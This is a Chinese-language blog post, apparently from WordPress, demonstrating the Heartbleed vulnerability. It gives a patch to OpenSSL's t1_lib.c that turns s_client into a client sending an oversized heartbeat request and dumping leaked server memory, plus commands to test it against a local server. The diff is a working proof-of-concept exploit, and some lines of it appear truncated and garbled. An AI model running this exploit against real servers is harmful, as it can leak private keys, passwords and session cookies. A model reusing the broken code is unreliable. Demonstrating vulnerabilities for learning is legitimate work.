心跳

上周的主要信息安全事件是OpenSSL的Heartbleed Bug。这个漏洞会导致TLS HEARTBEAT信息的回复方泄露多达64kb的内存数据,而这些数据里有可能包括敏感或私密信息,譬如服务器的私钥、用户的用户名密码、网页进程的cookie等等。我也跟风,修改了一下openssl-1.0.2-beta1的代码,利用OpenSSL的s_client工具实现了一下这个攻击。

有兴趣的读者可以尝试如下操作。

对ssl/t1_lib.c打了补丁后编译OpenSSL(./config; make; make install)。进入安装目录。

运行如下命令建立测试用的有漏洞的TLS服务器端:

bin/openssl s_server -cert ssl-cert-server.pem -key ssl-cert-server.key -cipher "DES-CBC3-SHA" -accept 8888 -www

这里ssl-cert-server.pem和ssl-cert-server.key分别是用于测试的TLS服务器证书以及私钥。它们可以用OpenSSL工具生成:由于过程很简单我们就不赘述。

使用如下命令运行执行攻击的TLS客户端:

bin/openssl s_client -CAfile server-ca.crt -debug -connect localhost:8888

这里server-ca.crt是用于验证服务器证书的根证书。它可以用OpenSSL工具生成:由于过程简单我们就不赘述。

在客户端看到诸如如下输出(你看到的返回代码可能会有不同)后键入大写的“B”并按回车。

Timeout : 300 (sec)
Verify return code: 10 (certificate has expired)
---

此时在服务器端和客户端的窗口都应该能够看到输出信息,告诉我们返回的数据比要求的数据多了1000个字节。

基于t1_lib.c的补丁如下:


--- ./openssl-1.0.2-beta1_original/ssl/t1_lib.c 2014-02-24 04:36:16.000000000 -0800
+++ ./t1_lib.c 2014-04-14 15:36:50.000000000 -0700
@@ -3809,6 +3809,11 @@
unsigned char *buffer, *bp;
int r;

+ /* Added diagnostic info for s_server */
+ printf("Processing heartbeat request.\n");
+ printf("Peer is requesting %i bytes payload.\n", payload);
+ printf("Actual received message length is %i bytes.\n", s->s3->rrec.length);
+
/* Allocate memory for the response, size is 1 bytes
* message type, plus 2 bytes payload length, plus
* payload, plus padding
@@ -3838,18 +3843,23 @@
}
else if (hbtype == TLS1_HB_RESPONSE)
{
- unsigned int seq;
-
- /* We only send sequence numbers (2 bytes unsigned int),
- * and 16 random bytes, so we just try to read the
- * sequence number */
- n2s(pl, seq);
+ unsigned int i;

- if (payload == 18 && seq == s->tlsext_hb_seq)
- {
- s->tlsext_hb_seq++;
- s->tlsext_hb_pending = 0;
- }
+ /* Print received payload in response in hex */
+ printf("Received %i bytes payload:\n", payload);
+
+ for (i = 0; i tlsext_hb_pending = 0; /* reset the state */
+ }
}

return 0;
@@ -3860,8 +3870,11 @@
{
unsigned char *buf, *p;
int ret;
- unsigned int payload = 18; /* Sequence number + random bytes */
- unsigned int padding = 16; /* Use minimum padding */
+ char * payload_msg = "JUVENTUS THE CHAMPS";
+ char * padding_msg = "0123456789ABCDEF";
+ unsigned int real_payload = strlen(payload_msg);
+ unsigned int payload = real_payload + 1000; /* payload_msg + extra asked bytes */
+ unsigned int padding = strlen(padding_msg);

/* Only send if peer supports and accepts HB requests... */
if (!(s->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED) ||
@@ -3888,7 +3901,7 @@
/* Check if padding is too long, payload and padding
* must not exceed 2^14 - 3 = 16381 bytes in total.
*/
- OPENSSL_assert(payload + padding <= 16381);
+// OPENSSL_assert(payload + padding tlsext_hb_seq, p);
- /* 16 random bytes */
- RAND_pseudo_bytes(p, 16);
- p += 16;
- /* Random padding */
- RAND_pseudo_bytes(p, padding);
+ /* Payload message */
+ memcpy(p, payload_msg, real_payload);
+ p += real_payload;
+ /* Padding */
+ memcpy(p, padding_msg, padding);
+
+ /* s_client diagnostic */
+ printf("ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buf, 3 + real_payload + padding)\n");

- ret = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buf, 3 + payload + padding);
+ ret = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buf, 3 + real_payload + padding);
if (ret >= 0)
{
if (s->msg_callback)

Advertisements


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s